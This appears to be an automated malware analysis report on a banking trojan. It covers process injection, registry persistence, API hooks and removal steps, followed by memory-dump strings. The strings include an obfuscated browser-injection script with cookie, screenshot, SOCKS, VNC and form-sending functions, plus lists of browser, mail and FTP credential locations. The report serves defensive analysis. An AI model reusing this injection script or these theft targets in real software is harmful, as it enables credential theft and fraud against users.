Gen.Variant.Kazy.432816_a31bb5599c

Dynamic Analysis

Payload

No specific payload has been found.

Process activity

The Trojan creates the following process(es):

regsvr32.exe:644

The Trojan injects its code into the following process(es):

imapi.exe:1780
vmacthlp.exe:928
Explorer.EXE:880
spoolsv.exe:1444
jqs.exe:1976

Mutexes

The following mutexes were created/opened:No objects were found.

File activity

The process regsvr32.exe:644 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\EpapArlip\EbgoNqozs.dat (269 bytes)

Registry activity

The process regsvr32.exe:644 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Policies\Microsoft\Windows\Safer\CodeIdentifiers]
"DefaultLevel" = "262144"

[HKCU\Software\Classes\CLSID\{7BD47FDD-1028-4944-A268-024C76A61BA9}]
"#sd" = "63 3A 5C 61 33 31 62 62 35 35 39 39 63 39 34 32"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKLM\SOFTWARE\Policies\Microsoft\Windows\Safer\CodeIdentifiers]
"PolicyScope" = "0"
"TransparentEnabled" = "1"

To automatically run itself each time Windows is booted, the Trojan adds the following link to its file to the system registry autorun key:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"EbgoNqozs" = "regsvr32.exe %Documents and Settings%\All Users\Application Data\EbgoNqozs\EbgoNqozs.dat"

The Trojan deletes the following registry key(s):

[HKLM\SOFTWARE\Policies\Microsoft\Windows\Safer\CodeIdentifiers\0\Paths]
[HKLM\SOFTWARE\Policies\Microsoft\Windows\Safer\CodeIdentifiers\0\Paths\{dda3f824-d8cb-441b-834d-be2efd2c1a33}]

The process vmacthlp.exe:928 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKU\.DEFAULT\Software\Classes\CLSID\{2D14570C-0C4D-4838-A1E1-4B5F4F6A55E5}]
"{4E153850-602D-4819-B83D-3CCD0A1E7351}" = "15 B3 99 DC"

Dropped PE files

MD5	File path
7c83e70fa2ddbdd6d0673188f97f19bf	c:\Documents and Settings\All Users\Application Data\EbgoNqozs\EbgoNqozs.dat

HOSTS file anomalies

No changes have been detected.

Rootkit activity

The Trojan installs the following user-mode hooks in CRYPT32.dll:

PFXImportCertStore

The Trojan installs the following user-mode hooks in ADVAPI32.dll:

CreateProcessAsUserA
CreateProcessAsUserW

The Trojan installs the following user-mode hooks in kernel32.dll:

CreateProcessA
CreateProcessW

Propagation

Removals

Remove it with Ad-Aware

1. Click (here) to download and install Ad-Aware Free Antivirus.
2. Update the definition files.
3. Run a full scan of your computer.

Manual removal*

1. Scan a system with an anti-rootkit tool.
   
2. Terminate malicious process(es) (How to End a Process With the Task Manager):

   regsvr32.exe:644
   

3. Delete the original Trojan file.
   
4. Delete or disinfect the following files created/modified by the Trojan:

   %Documents and Settings%\%current user%\Local Settings\Temp\EpapArlip\EbgoNqozs.dat (269 bytes)

5. Delete the following value(s) in the autorun key (How to Work with System Registry):

   [HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
   "EbgoNqozs" = "regsvr32.exe %Documents and Settings%\All Users\Application Data\EbgoNqozs\EbgoNqozs.dat"

6. Reboot the computer.
   

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.

Static Analysis

VersionInfo

Company Name: Microsoft Corporation
Product Name: Microsoft (R) Windows (R) Operating System
Product Version: 6.3.9600.16384
Legal Copyright: Copyright (c) Microsoft Corporation. All rights reserved.
Legal Trademarks:
Original Filename: Windows.Help.Runtime.dll
Internal Name: Windows.Help.Runtime.dll
File Version: 6.3.9600.16384
File Description:
Comments:
Language: English (United States)

Company Name: Microsoft CorporationProduct Name: Microsoft (R) Windows (R) Operating SystemProduct Version: 6.3.9600.16384Legal Copyright: Copyright (c) Microsoft Corporation. All rights reserved.Legal Trademarks: Original Filename: Windows.Help.Runtime.dllInternal Name: Windows.Help.Runtime.dllFile Version: 6.3.9600.16384File Description: Comments: Language: English (United States)

PE Sections

Name	Virtual Address	Virtual Size	Raw Size	Entropy	Section MD5
.text	4096	277108	277504	5.47763	9c7776a375a8c45758ef072729c75aa7
.data	282624	11405	11776	1.44905	87bf5e77ff581d50aad1b12cccc5398f
.frt	294912	32	512	0.289088	dceb73676b9220b1566273067b2e09d7
dect	299008	40	512	0.361831	d8c45b576173a0a17e5cc39700c01f2e
ree	303104	8	512	0.056519	2eca1752e83d05d8c28ccbdd9dd4a455
de	307200	72	512	0.512681	90a002719a20d32e6b63dc35d5783b46
Wr	311296	60	512	0.499196	d29f07bf91fc9f8620dabd10151841e7
Lksh4	315392	68	512	0.559304	943bc091adfc1d45e575d772dfd69ff5
Wqst	319488	48	512	0.456817	fa883b243f8cfb5a488aafb7496d59ec
.rsrc	323584	1064	1536	1.76147	4b4c53add982d4aab15cca9dd740d496
.reloc	327680	4096	332	4.01589	1c0ad6245edfee91fc798dd18dc4f313

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

Network Activity

URLs

IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

Traffic

Map

The Trojan connects to the servers at the folowing location(s):

Strings from Dumps

Explorer.EXE_880_rwx_01E50000_00054000:

%Documents and Settings%\All Users\Application Data\EbgoNqozs\EbgoNqozs.dat

%Documents and Settings%\All Users\Application Data\EbgoNqozs\EbgoNqozs.dat

.text

.text

.rdata

.rdata

@.data

@.data

.reloc

.reloc

t.FVSh4

t.FVSh4

_^SSSh

_^SSSh

USER32.dll

USER32.dll

GDI32.dll

GDI32.dll

ADVAPI32.dll

ADVAPI32.dll

SHELL32.dll

SHELL32.dll

SHLWAPI.dll

SHLWAPI.dll

WININET.dll

WININET.dll

WS2_32.dll

WS2_32.dll

More information: hXXp://VVV.ibsensoftware.com/

More information: hXXp://VVV.ibsensoftware.com/

ole32.dll

ole32.dll

OLEAUT32.dll

OLEAUT32.dll

8CRYPT32.dll

8CRYPT32.dll

NETAPI32.dll

NETAPI32.dll

HttpSendRequestW

HttpSendRequestW

HttpSendRequestExW

HttpSendRequestExW

HttpSendRequestExA

HttpSendRequestExA

HttpSendRequestA

HttpSendRequestA

HttpQueryInfoA

HttpQueryInfoA

HttpOpenRequestW

HttpOpenRequestW

HttpOpenRequestA

HttpOpenRequestA

HttpAddRequestHeadersA

HttpAddRequestHeadersA

wininet.dll

wininet.dll

rapport

rapport

ieframe.dll

ieframe.dll

NSPR4.DLL

NSPR4.DLL

nss3.dll

nss3.dll

kernel32.dll

kernel32.dll

\Google\Chrome\User Data\Default\

\Google\Chrome\User Data\Default\

\Mozilla\Firefox\Profiles\

\Mozilla\Firefox\Profiles\

sol_chrome/

sol_chrome/

\Google\Chrome\User Data\Default\Pepper Data\Shockwave Flash\WritableRoot\

\Google\Chrome\User Data\Default\Pepper Data\Shockwave Flash\WritableRoot\

@http

@http

SELECT url FROM moz_places

SELECT url FROM moz_places

places.sqlite

places.sqlite

ie/history.txt

ie/history.txt

ff/history.txt

ff/history.txt

ff/%u/places.sqlite

ff/%u/places.sqlite

framework_key%

framework_key%

eval(function(p,a,c,k,e,r){e=function(c){return(c35?String.fromCharCode(c 29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w '};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b' e(c) '\\b','g'),k[c]);return p}('l 1b(i){j.R=i;j.z=q;j.W=2;j.Q=l(){p(x K===\'I\'){K=l(){A{k E G("J.H.6.0")}B(e){}A{k E G("J.H.3.0")}B(e){}A{k E G("J.H")}B(e){}A{k E G("Y.H")}B(e){}k u}}k E K()};j.o=l(a,b,c,d){L f=j.Q();L g=q;L h=j;F=(x(d)==\'I\')?u:s;b=\'/\' j.R \'/\' 18.19() \'/\' b;p(F==s){j.z=q;f.1a=l(){A{p(f.T==4){p(f.O!=P||f.y==\'-\'){h.z=u;p(x(d)=="l"){d(u)}}C{p(f.y==\' \'){h.z=s;p(x(d)=="l"){d(s)}}C{h.z=f.y;p(x(d)=="l"){d(f.y)}}}}}B(e){h.z=u;p(x(d)=="l"){d(u)}}}}f.1e(a,b,F);f.1g(c);p(F==s){k s}A{p(f.T==4&&f.O==P){p(f.y==\'-\'){k u}C{p(f.y==\' \'){k s}C{k f.y}}}k u}B(e){k u}};j.1p=l(){k j.z};j.V=l(a,b,c){m=\'1/\' a;k j.o(\'v\',m,b,c)};j.X=l(a,b){m=\'2/\' a;k j.o(\'w\',m,q,b)};j.Z=l(a,b){m=\'3/\' a;k j.o(\'w\',m,q,b)};j.16=l(a){m=\'4/\';k j.o(\'w\',m,q,a)};j.17=l(a,b,c){t=(b==s)?\'S\':\'D\';k j.o(\'w\',\'5/\' t \'/\' a,q,c)};j.1c=l(a,b,c,d){t=(b==s)?\'S\':\'D\';k j.o(\'v\',\'5/\' t \'/\' a,c,d)};j.1d=l(a,b,c,d){t=(b==s)?\'S\':\'D\';p(x(c)==\'I\'||c==u){c=q;N=\'w\'}C{c=\'1f: \' c;N=\'v\'}k j.o(N,\'6/\' t \'/\' a,c,d)};j.M=l(a,b,c,d){t=(b==s)?\'S\':\'D\';k j.o(\'v\',\'7/\' t \'/\' a,c,d)};j.1h=l(a,b,c,d){m=\'8/\' b \'/\' c \'/\' 1i(a);k j.o(\'w\',m,q,d)};j.1j=l(a,b){m=\'9/\';k j.o(\'v\',m,a,b)};j.1k=l(a){m=\'10/\';k j.o(\'w\',m,q,a)};j.1l=l(a,b){m=\'11/\';k j.o(\'v\',m,a,b)};j.1m=l(a,b){m=\'12/\';k j.o(\'v\',m,a,b)};j.1n=l(a,b,c){m=\'13/\';M=a "\\r\\n" b;k j.o(\'v\',m,M,c)};j.1o=l(a,b){m=\'14/\' a;U=1q.1r.1s;k j.o(\'v\',m,U,b)};j.1t=l(a){m=\'15/\';k j.o(\'w\',m,q,a)}};',62,92,'|||||||||||||||||||this|return|function|Url||Query|if|null||true||false|POST|GET|typeof|responseText|_LastAsync|try|catch|else||new|Async|ActiveXObject|XMLHTTP|undefined|Msxml2|XMLHttpRequest|var|Post|Type|status|200|GetXHR|_Key||readyState|Data|SetVal|Version|GetVal|Microsoft|DelVal|||||||ClearVals|GetServer|Math|random|onreadystatechange|EQFramework|PostServer|Get|open|Cookie|send|ScreenShot|encodeURIComponent|LogAdd|UpdateConfig|StartSocks|StartVnc|SendForm|StartVideo|GetLastAsync|document|location|href|StopVideo'.split('|'),0,{}));

eval(function(p,a,c,k,e,r){e=function(c){return(c35?String.fromCharCode(c 29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w '};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b' e(c) '\\b','g'),k[c]);return p}('l 1b(i){j.R=i;j.z=q;j.W=2;j.Q=l(){p(x K===\'I\'){K=l(){A{k E G("J.H.6.0")}B(e){}A{k E G("J.H.3.0")}B(e){}A{k E G("J.H")}B(e){}A{k E G("Y.H")}B(e){}k u}}k E K()};j.o=l(a,b,c,d){L f=j.Q();L g=q;L h=j;F=(x(d)==\'I\')?u:s;b=\'/\' j.R \'/\' 18.19() \'/\' b;p(F==s){j.z=q;f.1a=l(){A{p(f.T==4){p(f.O!=P||f.y==\'-\'){h.z=u;p(x(d)=="l"){d(u)}}C{p(f.y==\' \'){h.z=s;p(x(d)=="l"){d(s)}}C{h.z=f.y;p(x(d)=="l"){d(f.y)}}}}}B(e){h.z=u;p(x(d)=="l"){d(u)}}}}f.1e(a,b,F);f.1g(c);p(F==s){k s}A{p(f.T==4&&f.O==P){p(f.y==\'-\'){k u}C{p(f.y==\' \'){k s}C{k f.y}}}k u}B(e){k u}};j.1p=l(){k j.z};j.V=l(a,b,c){m=\'1/\' a;k j.o(\'v\',m,b,c)};j.X=l(a,b){m=\'2/\' a;k j.o(\'w\',m,q,b)};j.Z=l(a,b){m=\'3/\' a;k j.o(\'w\',m,q,b)};j.16=l(a){m=\'4/\';k j.o(\'w\',m,q,a)};j.17=l(a,b,c){t=(b==s)?\'S\':\'D\';k j.o(\'w\',\'5/\' t \'/\' a,q,c)};j.1c=l(a,b,c,d){t=(b==s)?\'S\':\'D\';k j.o(\'v\',\'5/\' t \'/\' a,c,d)};j.1d=l(a,b,c,d){t=(b==s)?\'S\':\'D\';p(x(c)==\'I\'||c==u){c=q;N=\'w\'}C{c=\'1f: \' c;N=\'v\'}k j.o(N,\'6/\' t \'/\' a,c,d)};j.M=l(a,b,c,d){t=(b==s)?\'S\':\'D\';k j.o(\'v\',\'7/\' t \'/\' a,c,d)};j.1h=l(a,b,c,d){m=\'8/\' b \'/\' c \'/\' 1i(a);k j.o(\'w\',m,q,d)};j.1j=l(a,b){m=\'9/\';k j.o(\'v\',m,a,b)};j.1k=l(a){m=\'10/\';k j.o(\'w\',m,q,a)};j.1l=l(a,b){m=\'11/\';k j.o(\'v\',m,a,b)};j.1m=l(a,b){m=\'12/\';k j.o(\'v\',m,a,b)};j.1n=l(a,b,c){m=\'13/\';M=a "\\r\\n" b;k j.o(\'v\',m,M,c)};j.1o=l(a,b){m=\'14/\' a;U=1q.1r.1s;k j.o(\'v\',m,U,b)};j.1t=l(a){m=\'15/\';k j.o(\'w\',m,q,a)}};',62,92,'|||||||||||||||||||this|return|function|Url||Query|if|null||true||false|POST|GET|typeof|responseText|_LastAsync|try|catch|else||new|Async|ActiveXObject|XMLHTTP|undefined|Msxml2|XMLHttpRequest|var|Post|Type|status|200|GetXHR|_Key||readyState|Data|SetVal|Version|GetVal|Microsoft|DelVal|||||||ClearVals|GetServer|Math|random|onreadystatechange|EQFramework|PostServer|Get|open|Cookie|send|ScreenShot|encodeURIComponent|LogAdd|UpdateConfig|StartSocks|StartVnc|SendForm|StartVideo|GetLastAsync|document|location|href|StopVideo'.split('|'),0,{}));

eval('var %s '

eval('var %s '

function(p,a,c,k,e,r){e=function(c){return(c35?String.fromCharCode(c 29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w '};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b' e(c) '\\b','g'),k[c]);return p}('=z k(){i.P=p;i.w=p;i.Y=3;i.O=k(){o(y N===\'H\'){N=k(){A{j z G("L.E.6.0")}B(e){}A{j z G("L.E.3.0")}B(e){}A{j z G("L.E")}B(e){}A{j z G("W.E")}B(e){}j s}}j z N()};i.m=k(a,b,c,d){J f=i.O();J g=p;J h=i;F=(y(d)==\'H\')?s:q;b=\'/\' i.P \'/\' 19.1a() \'/\' b;o(F==q){i.w=p;f.1p=k(){A{o(f.T==4){o(f.R!=Q||f.x==\'-\'){h.w=s;o(y(d)=="k"){d(s)}}C{o(f.x==\' \'){h.w=q;o(y(d)=="k"){d(q)}}C{h.w=f.x;o(y(d)=="k"){d(f.x)}}}}}B(e){h.w=s;o(y(d)=="k"){d(s)}}}}f.1b(a,b,F);f.1e(c);o(F==q){j q}A{o(f.T==4&&f.R==Q){o(f.x==\'-\'){j s}C{o(f.x==\' \'){j q}C{j f.x}}}j s}B(e){j s}};i.1g=k(){j i.w};i.1w=k(a,b,c){l=\'1/\' a;j i.m(\'u\',l,b,c)};i.X=k(a,b){l=\'2/\' a;j i.m(\'v\',l,p,b)};i.Z=k(a,b){l=\'3/\' a;j i.m(\'v\',l,p,b)};i.16=k(a){l=\'4/\';j i.m(\'v\',l,p,a)};i.17=k(a,b,c){t=(b==q)?\'S\':\'D\';j i.m(\'v\',\'5/\' t \'/\' a,p,c)};i.1c=k(a,b,c,d){t=(b==q)?\'S\':\'D\';j i.m(\'u\',\'5/\' t \'/\' a,c,d)};i.1d=k(a,b,c,d){t=(b==q)?\'S\':\'D\';o(y(c)==\'H\'||c==s){c=p;I=\'v\'}C{c=\'1f: \' c;I=\'u\'}j i.m(I,\'6/\' t \'/\' a,c,d)};i.M=k(a,b,c,d){t=(b==q)?\'S\':\'D\';j i.m(\'u\',\'7/\' t \'/\' a,c,d)};i.1h=k(a,b,c,d){l=\'8/\' b \'/\' c \'/\' 1i(a);j i.m(\'v\',l,p,d)};i.1j=k(a,b){l=\'9/\';j i.m(\'u\',l,a,b)};i.1k=k(a){l=\'10/\';j i.m(\'v\',l,p,a)};i.1l=k(a,b){l=\'11/\';j i.m(\'u\',l,a,b)};i.1m=k(a,b){l=\'12/\';j i.m(\'u\',l,a,b)};i.1n=k(a,b,c){l=\'13/\';M=a "\\r\\n" b;j i.m(\'u\',l,M,c)};i.1o=k(a,b){l=\'14/\' a;U=V.1q.1r;j i.m(\'u\',l,U,b)};i.1s=k(a){l=\'15/\';j i.m(\'v\',l,p,a)};i.1t=k(a){K=V.1u(a);K.1v.18(K)}};',62,95,'||||||||||||||||||this|return|function|Url|Query||if|null|true||false||POST|GET|_LastAsync|responseText|typeof|new|try|catch|else||XMLHTTP|Async|ActiveXObject|undefined|Type|var|El|Msxml2|Post|XMLHttpRequest|GetXHR|Key|200|status||readyState|Data|document|Microsoft|GetVal|Version|DelVal|||||||ClearVals|GetServer|removeChild|Math|random|open|PostServer|Get|send|Cookie|GetLastAsync|ScreenShot|encodeURIComponent|LogAdd|UpdateConfig|StartSocks|StartVnc|SendForm|StartVideo|onreadystatechange|location|href|StopVideo|Hide|getElementById|parentNode|SetVal'.split('|'),0,{}));

function(p,a,c,k,e,r){e=function(c){return(c35?String.fromCharCode(c 29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w '};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b' e(c) '\\b','g'),k[c]);return p}('=z k(){i.P=p;i.w=p;i.Y=3;i.O=k(){o(y N===\'H\'){N=k(){A{j z G("L.E.6.0")}B(e){}A{j z G("L.E.3.0")}B(e){}A{j z G("L.E")}B(e){}A{j z G("W.E")}B(e){}j s}}j z N()};i.m=k(a,b,c,d){J f=i.O();J g=p;J h=i;F=(y(d)==\'H\')?s:q;b=\'/\' i.P \'/\' 19.1a() \'/\' b;o(F==q){i.w=p;f.1p=k(){A{o(f.T==4){o(f.R!=Q||f.x==\'-\'){h.w=s;o(y(d)=="k"){d(s)}}C{o(f.x==\' \'){h.w=q;o(y(d)=="k"){d(q)}}C{h.w=f.x;o(y(d)=="k"){d(f.x)}}}}}B(e){h.w=s;o(y(d)=="k"){d(s)}}}}f.1b(a,b,F);f.1e(c);o(F==q){j q}A{o(f.T==4&&f.R==Q){o(f.x==\'-\'){j s}C{o(f.x==\' \'){j q}C{j f.x}}}j s}B(e){j s}};i.1g=k(){j i.w};i.1w=k(a,b,c){l=\'1/\' a;j i.m(\'u\',l,b,c)};i.X=k(a,b){l=\'2/\' a;j i.m(\'v\',l,p,b)};i.Z=k(a,b){l=\'3/\' a;j i.m(\'v\',l,p,b)};i.16=k(a){l=\'4/\';j i.m(\'v\',l,p,a)};i.17=k(a,b,c){t=(b==q)?\'S\':\'D\';j i.m(\'v\',\'5/\' t \'/\' a,p,c)};i.1c=k(a,b,c,d){t=(b==q)?\'S\':\'D\';j i.m(\'u\',\'5/\' t \'/\' a,c,d)};i.1d=k(a,b,c,d){t=(b==q)?\'S\':\'D\';o(y(c)==\'H\'||c==s){c=p;I=\'v\'}C{c=\'1f: \' c;I=\'u\'}j i.m(I,\'6/\' t \'/\' a,c,d)};i.M=k(a,b,c,d){t=(b==q)?\'S\':\'D\';j i.m(\'u\',\'7/\' t \'/\' a,c,d)};i.1h=k(a,b,c,d){l=\'8/\' b \'/\' c \'/\' 1i(a);j i.m(\'v\',l,p,d)};i.1j=k(a,b){l=\'9/\';j i.m(\'u\',l,a,b)};i.1k=k(a){l=\'10/\';j i.m(\'v\',l,p,a)};i.1l=k(a,b){l=\'11/\';j i.m(\'u\',l,a,b)};i.1m=k(a,b){l=\'12/\';j i.m(\'u\',l,a,b)};i.1n=k(a,b,c){l=\'13/\';M=a "\\r\\n" b;j i.m(\'u\',l,M,c)};i.1o=k(a,b){l=\'14/\' a;U=V.1q.1r;j i.m(\'u\',l,U,b)};i.1s=k(a){l=\'15/\';j i.m(\'v\',l,p,a)};i.1t=k(a){K=V.1u(a);K.1v.18(K)}};',62,95,'||||||||||||||||||this|return|function|Url|Query||if|null|true||false||POST|GET|_LastAsync|responseText|typeof|new|try|catch|else||XMLHTTP|Async|ActiveXObject|undefined|Type|var|El|Msxml2|Post|XMLHttpRequest|GetXHR|Key|200|status||readyState|Data|document|Microsoft|GetVal|Version|DelVal|||||||ClearVals|GetServer|removeChild|Math|random|open|PostServer|Get|send|Cookie|GetLastAsync|ScreenShot|encodeURIComponent|LogAdd|UpdateConfig|StartSocks|StartVnc|SendForm|StartVideo|onreadystatechange|location|href|StopVideo|Hide|getElementById|parentNode|SetVal'.split('|'),0,{}));

%s.Key = '%s';

%s.Key = '%s';

%s.Hide('%0.8X%0.8X');

%s.Hide('%0.8X%0.8X');

CertificateAuthority

CertificateAuthority

%s.pfx

%s.pfx

cookies.sqlite

cookies.sqlite

cookies.sqlite-journal

cookies.sqlite-journal

ff/%u/cookies.sqlite

ff/%u/cookies.sqlite

Software\df5a3418-685e-4e1f-a26a-aabf17af39b8

Software\df5a3418-685e-4e1f-a26a-aabf17af39b8

[%s - X32 EQ PID: %u TID: %u]

[%s - X32 EQ PID: %u TID: %u]

X-Firefox-Spdy

X-Firefox-Spdy

X-WebKit-CSP

X-WebKit-CSP

hXXps://

hXXps://

HTTP/1.1 200 OK

HTTP/1.1 200 OK

Content-Length: %u

Content-Length: %u

GET /favicon.ico HTTP/1.1

GET /favicon.ico HTTP/1.1

GET /favicon.ico HTTP/1.0

GET /favicon.ico HTTP/1.0

login=%s&pass=%s

login=%s&pass=%s

KERNEL32.DLL

KERNEL32.DLL

chrome.dll

chrome.dll

127.0.0.1

127.0.0.1

Content-Type: application/x-www-form-urlencoded

Content-Type: application/x-www-form-urlencoded

Software\Microsoft\Windows\CurrentVersion\Run

Software\Microsoft\Windows\CurrentVersion\Run

regsvr32.exe "%s"

regsvr32.exe "%s"

&info=%0.2X%0.2X%0.2X%0.2X%0.2X%0.2X%0.2X%0.4X%0.2X%0.4X&proxy=%s

&info=%0.2X%0.2X%0.2X%0.2X%0.2X%0.2X%0.2X%0.4X%0.2X%0.4X&proxy=%s

[VNC] Parse param error: %s

[VNC] Parse param error: %s

\regsvr32.exe

\regsvr32.exe

[VNC] Fail create process: %u

[VNC] Fail create process: %u

[VNC] Fail inject to process: %u

[VNC] Fail inject to process: %u

fv_%u.avi

fv_%u.avi

#FV_%u

#FV_%u

#FV_%s

#FV_%s

pass.txt

pass.txt

cert.pfx

cert.pfx

PFXImportCertStore

PFXImportCertStore

Crypt32.dll

Crypt32.dll

user_pref("network.http.spdy.enabled", false);

user_pref("network.http.spdy.enabled", false);

user_pref("network.http.spdy.enabled.v3", false);

user_pref("network.http.spdy.enabled.v3", false);

user_pref("network.http.spdy.enabled.v3-1", false);

user_pref("network.http.spdy.enabled.v3-1", false);

prefs.js

prefs.js

csrss.exe

csrss.exe

smss.exe

smss.exe

wininit.exe

wininit.exe

services.exe

services.exe

svchost.exe

svchost.exe

lsass.exe

lsass.exe

lsm.exe

lsm.exe

winlogon.exe

winlogon.exe

taskhost.exe

taskhost.exe

WININET.DLL

WININET.DLL

HttpEndRequestA

HttpEndRequestA

HttpEndRequestW

HttpEndRequestW

ADVAPI32.DLL

ADVAPI32.DLL

Init in Browser = %u

Init in Browser = %u

Init in Shell = %u

Init in Shell = %u

[Socks] Failt connect BC [%s:%u]

[Socks] Failt connect BC [%s:%u]

[Socks] Fail parse param: %s

[Socks] Fail parse param: %s

#cert

#cert

[Pony] Fail Get Pass

[Pony] Fail Get Pass

DL_EXEC LOAD ERROR: %u = %s

DL_EXEC LOAD ERROR: %u = %s

DL_EXEC Status [Pipe]: %u-%u-%u

DL_EXEC Status [Pipe]: %u-%u-%u

DL_EXEC Status[Local]: %u = %u

DL_EXEC Status[Local]: %u = %u

Start Socks addr: %s

Start Socks addr: %s

Start Socks Status[Pipe]: %u-%u-%u

Start Socks Status[Pipe]: %u-%u-%u

Start Socks Status[Local]: %u

Start Socks Status[Local]: %u

Start VNC addr: %s

Start VNC addr: %s

Start VNC Status[Pipe]: %u-%u-%u

Start VNC Status[Pipe]: %u-%u-%u

Start VNC Status[Local]: %u

Start VNC Status[Local]: %u

msvcrt.dll

msvcrt.dll

%0.8X%0.8X%c

%0.8X%0.8X%c

/work/1.php?sid=%0.8X%0.8X%0.4X%0.4X%0.2X%0.2X%0.4X

/work/1.php?sid=%0.8X%0.8X%0.4X%0.4X%0.2X%0.2X%0.4X

firefox.exe

firefox.exe

explorer.exe

explorer.exe

SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\

SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\

%Program Files%\Mozilla Firefox\

%Program Files%\Mozilla Firefox\

mozsqlite3.dll

mozsqlite3.dll

sqlite3_open

sqlite3_open

sqlite3_exec

sqlite3_exec

sqlite3_close

sqlite3_close

sqlite3_free

sqlite3_free

Software\Microsoft\Windows\CurrentVersion\Internet Settings

Software\Microsoft\Windows\CurrentVersion\Internet Settings

Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3

Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3

hXXp://

hXXp://

Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)

Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)

\\.\pipe\

\\.\pipe\

PID: %u [%0.2u:%0.2u:%0.2u]

PID: %u [%0.2u:%0.2u:%0.2u]

[BC] Cmd Ver Error

[BC] Cmd Ver Error

[BC] Wait Ping error %u[%u]

[BC] Wait Ping error %u[%u]

[BC] Fail Connect: %u

[BC] Fail Connect: %u

[BC] Fail read cmd

[BC] Fail read cmd

[BC] Cmd need reauth

[BC] Cmd need reauth

[BC] cmd error: %u

[BC] cmd error: %u

[BC] Cmd need disconnect

[BC] Cmd need disconnect

ntdll.dll

ntdll.dll

Common Files\Doctor Web

Common Files\Doctor Web

Doctor Web

Doctor Web

McAfee.com

McAfee.com

DrWeb

DrWeb

SOFTWARE\Policies\Microsoft\Windows\Safer\CodeIdentifiers\

SOFTWARE\Policies\Microsoft\Windows\Safer\CodeIdentifiers\

SOFTWARE\Policies\Microsoft\Windows\Safer\CodeIdentifiers\0\Paths\

SOFTWARE\Policies\Microsoft\Windows\Safer\CodeIdentifiers\0\Paths\

Kernel32.dll

Kernel32.dll

gdiplus.dll

gdiplus.dll

GdiplusShutdown

GdiplusShutdown

SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\

SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\

account.cfg

account.cfg

account.cfn

account.cfn

Dir #%u

Dir #%u

.oeaccount

.oeaccount

Software\Microsoft\Windows Live Mail

Software\Microsoft\Windows Live Mail

\Microsoft\Windows Live Mail

\Microsoft\Windows Live Mail

Software\Microsoft\Windows Mail

Software\Microsoft\Windows Mail

\Microsoft\Windows Mail

\Microsoft\Windows Mail

PopPort

PopPort

PopPassword

PopPassword

SmtpServer

SmtpServer

SmtpPort

SmtpPort

SmtpAccount

SmtpAccount

SmtpPassword

SmtpPassword

abe2869f-9b47-4cd9-a358-c22904dba7f7

abe2869f-9b47-4cd9-a358-c22904dba7f7

MS IE FTP Passwords

MS IE FTP Passwords

Last Server Port

Last Server Port

Last Server Pass

Last Server Pass

Server.Port

Server.Port

Server.User

Server.User

Server.Host

Server.Host

Server.Pass

Server.Pass

Password

Password

Software\Far\Plugins\FTP\Hosts

Software\Far\Plugins\FTP\Hosts

Software\Far2\Plugins\FTP\Hosts

Software\Far2\Plugins\FTP\Hosts

Software\Far Manager\Plugins\FTP\Hosts

Software\Far Manager\Plugins\FTP\Hosts

Software\Far\SavedDialogHistory\FTPHost

Software\Far\SavedDialogHistory\FTPHost

Software\Far2\SavedDialogHistory\FTPHost

Software\Far2\SavedDialogHistory\FTPHost

Software\Far Manager\SavedDialogHistory\FTPHost

Software\Far Manager\SavedDialogHistory\FTPHost

\win.ini

\win.ini

WS_FTP

WS_FTP

\Ipswitch\WS_FTP

\Ipswitch\WS_FTP

\GlobalSCAPE\CuteFTP

\GlobalSCAPE\CuteFTP

sm.dat

sm.dat

\GlobalSCAPE\CuteFTP Pro

\GlobalSCAPE\CuteFTP Pro

\GlobalSCAPE\CuteFTP Lite

\GlobalSCAPE\CuteFTP Lite

\CuteFTP

\CuteFTP

CUTEFTP

CUTEFTP

Software\GlobalSCAPE\CuteFTP 6 Home\QCToolbar

Software\GlobalSCAPE\CuteFTP 6 Home\QCToolbar

Software\GlobalSCAPE\CuteFTP 6 Professional\QCToolbar

Software\GlobalSCAPE\CuteFTP 6 Professional\QCToolbar

Software\GlobalSCAPE\CuteFTP 7 Home\QCToolbar

Software\GlobalSCAPE\CuteFTP 7 Home\QCToolbar

Software\GlobalSCAPE\CuteFTP 7 Professional\QCToolbar

Software\GlobalSCAPE\CuteFTP 7 Professional\QCToolbar

Software\GlobalSCAPE\CuteFTP 8 Home\QCToolbar

Software\GlobalSCAPE\CuteFTP 8 Home\QCToolbar

Software\GlobalSCAPE\CuteFTP 8 Professional\QCToolbar

Software\GlobalSCAPE\CuteFTP 8 Professional\QCToolbar

\Sites.dat

\Sites.dat

\Quick.dat

\Quick.dat

\History.dat

\History.dat

Software\BPFTP\Bullet Proof FTP\Main

Software\BPFTP\Bullet Proof FTP\Main

Software\BulletProof Software\BulletProof FTP Client\Main

Software\BulletProof Software\BulletProof FTP Client\Main

